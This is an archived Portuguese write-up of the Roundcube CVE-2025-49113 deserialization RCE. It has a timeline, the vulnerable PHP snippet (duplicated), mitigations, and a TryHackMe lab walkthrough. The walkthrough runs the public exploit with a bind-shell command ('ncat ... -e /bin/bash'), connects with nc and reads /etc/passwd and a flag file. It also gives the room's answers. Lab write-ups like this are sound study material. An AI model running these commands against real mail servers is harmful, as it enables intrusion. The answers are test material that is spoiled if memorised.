POC详情: 04fb269687867bab254f59fe5d7b37027cc4eade

来源
关联漏洞
标题: Roundcube Webmail 安全漏洞 (CVE-2025-49113)
描述:Roundcube Webmail是Roundcube开源的一款基于浏览器的开源IMAP客户端,它支持地址薄管理、信息搜索、拼写检查等。 Roundcube Webmail 1.5.10之前版本和 1.6.11之前版本存在安全漏洞,该漏洞源于未验证_from参数,可能导致PHP对象反序列化攻击。
描述
Explicação + Lab no THM
介绍
# RCE no Roundcube (CVE-2025-49113) - Minha anotação do Obsidian .md

{{date}} {{time}}

Status: Completed

Lab: Easy

Tags: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]

>by KRPT Paulo G. Werneck -    Linkedin - [in.com/pgw-script](https://www.linkedin.com/in/pgw-script)

---

> **Impacto**: execução remota de comandos pós-login (CVSS 9.9)  
> **Versões afetadas**: ≤ 1.5.10 / 1.6.10  
> **Patched**: 1.5.11 e 1.6.11

---

## 1 – Timeline

| Data        | Evento                                                                                                                                                                                                                                                               |
| ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ~2014       | Introdução da rota `program/actions/settings/upload.php` com uso de `session->append()` **sem validação**.                                                                                                                                                           |
| 03 jun 2025 | Pesquisadores da @FearsOff publicam o advisory e anunciam PoC.                                                                                                                                                                                                      |
| 04 jun 2025 | Roundcube aplica [commit 0376f69](https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d) (1.6-stable) e [commit 7408f31](https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695) (1.5-lts). |
| 06 jun 2025 | PoC publicada no github . ([fearsoff-org/CVE-2025-49113](https://github.com/fearsoff-org/CVE-2025-49113))                                                                                                                                           |
| 10 jun 2025 | Exploração em massa.                                                                                                                                                                                                                            |

---

## 2 – Onde estava o problema

### Código vulnerável (1.6.10)

```php
// program/actions/settings/upload.php 
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);

// … mais abaixo
$rcmail->session->append($type . '.files', $id, $attachment);

```

A entrada `_from` chega completa do GET dps vira parte do nome de um nó na sessão e  
durante o primeiro `append()`, o Roundcube faz:

```php
// program/actions/settings/upload.php

$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);

$type = preg_replace('/(add|edit)-/', '', $from);

// … mais abaixo

$rcmail->session->append($type . '.files', $id, $attachment);
```

Se o arquivo existir, o RCE funcionou.

---
## 3 – Mitigações

1. **Atualize** imediatamente para ≥ 1.6.11 ou ≥ 1.5.11.
    
2. Cao nao consiga atualizar, bloqueie qualquer `_from` contendo `%22`, `%7C`, `!`, `.` ou bytes de controle via WAF, firewall ou rewrite.
    
3. Desative funções perigosas (`proc_open`, `exec`, etc.) em `php.ini`.
    
4. Bloqueie uploads no painel de configurações e monitore logs.
    
---

## 4 - Lab - TryHackme - WriteUp

Free Room: [https://tryhackme.com/room/roundcubecve202549113](https://tryhackme.com/room/roundcubecve202549113)
> Created by tryhackme & strategos


#### 1. Recon

1. Abrir a VM (`MACHINE_IP`) e o AttackBox.
    
2. Acessar `http://MACHINE_IP/roundcube` com:
	
    `usuário: ellieptic`
    `senha: ChangeMe123`
    
    Isso vai funcionar e vai logar normalmente:
   
   ![Tela de login](images/Pastedimage20250616175835.png)   

---

#### 2. Montar o exploit

Após verificar que está tudo up, vamos executar o exploit, para isso vamos acessar a PoC postada no github informada anteriormente e fazer um gitclone:

```bash
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113
```

![exploit](images/Pastedimage20250616180500.png) 

---

#### 3. Preparar o payload

O uso do payload é simples, basta criar o bind shell e apontar para uma porta com o file `.php` seguindo o usage abaixo:

php CVE-2025-49113.php <`site`> <`user`> <`senha`> "<`bind shell`>"

`php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"`

– O script faz login, injeta o objeto PHP malicioso no parâmetro `_from`, conforme falamos anteriormente, chama o endpoint `upload.php` e depois força logout para disparar  
`session_decode()` → `unserialize()` → `proc_open()`.

> Às vezes ele mostra erro de CSRF; ignore e siga para o próximo passo,  
> porque o comando costuma ter sido executado mesmo assim.

![exploit](images/Pastedimage20250616180745.png) 

---

#### 4. Conectar na shell

Se a bind shell deu certo, ela ta escutando na porta 1337 que passamos, so fazermos a conexão nela agora:

`nc MACHINE_IP 1337`

Shell obtida.

![shell](images/Pastedimage20250616180844.png) 

---

#### 5. Respondendo as questões

### Questões e respostas

1. **Usuário Maggie**  
    _Pergunta:_ Um dos usuários tem o primeiro nome **Maggie**. Qual é o sobrenome dela?  
    _Resposta:_ `Byte`
    
Para resolver essa questão podiamos dar um cat em /etc/passwd grepando o usuário da maggie, ou simplesmente dando um `ls`em `/home`

   ![1](images/Pastedimage20250616181115.png)    
 
2. **Flag em /etc**  
    _Pergunta:_ Qual é o valor do sinalizador salvo em `/etc`?  
    _Resposta:_ `THM{ICE_CUBE_DESERIALISATION}`
   
Para resolver isso, dei um `cat /etc/flag*` e por sorte o nome do arquivo era flag e com isso conseguimos capturar.
	
  ![2](images/Pastedimage20250616181246.png) 

   
---
## 5 – Referências

- Commit 1.6.11 – [https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d](https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d)
    
- Commit 1.5.11 – [https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695](https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695)
    
- FearsOff write-up – [https://fearsoff.org/research/roundcube](https://fearsoff.org/research/roundcube)
    
- OffSec blog – [https://www.offsec.com/blog/cve-2025-49113/](https://www.offsec.com/blog/cve-2025-49113/) [offsec.com](https://www.offsec.com/blog/cve-2025-49113/?utm_source=chatgpt.com)

- TryHackme - [TryHackMe | Roundcube: CVE-2025-49113](https://tryhackme.com/room/roundcubecve202549113) 

- GHSA advisory – [https://github.com/advisories/GHSA-8j8w-wwqc-x596](https://github.com/advisories/GHSA-8j8w-wwqc-x596) [github.com](https://github.com/advisories/GHSA-8j8w-wwqc-x596?utm_source=chatgpt.com)
文件快照

[4.0K] /data/pocs/04fb269687867bab254f59fe5d7b37027cc4eade ├── [4.0K] images │   ├── [ 73] 123 │   ├── [117K] Pastedimage20250616175835.png │   ├── [ 65K] Pastedimage20250616180500.png │   ├── [115K] Pastedimage20250616180745.png │   ├── [8.8K] Pastedimage20250616180844.png │   ├── [5.6K] Pastedimage20250616181115.png │   └── [ 11K] Pastedimage20250616181246.png └── [6.9K] README.md 1 directory, 8 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。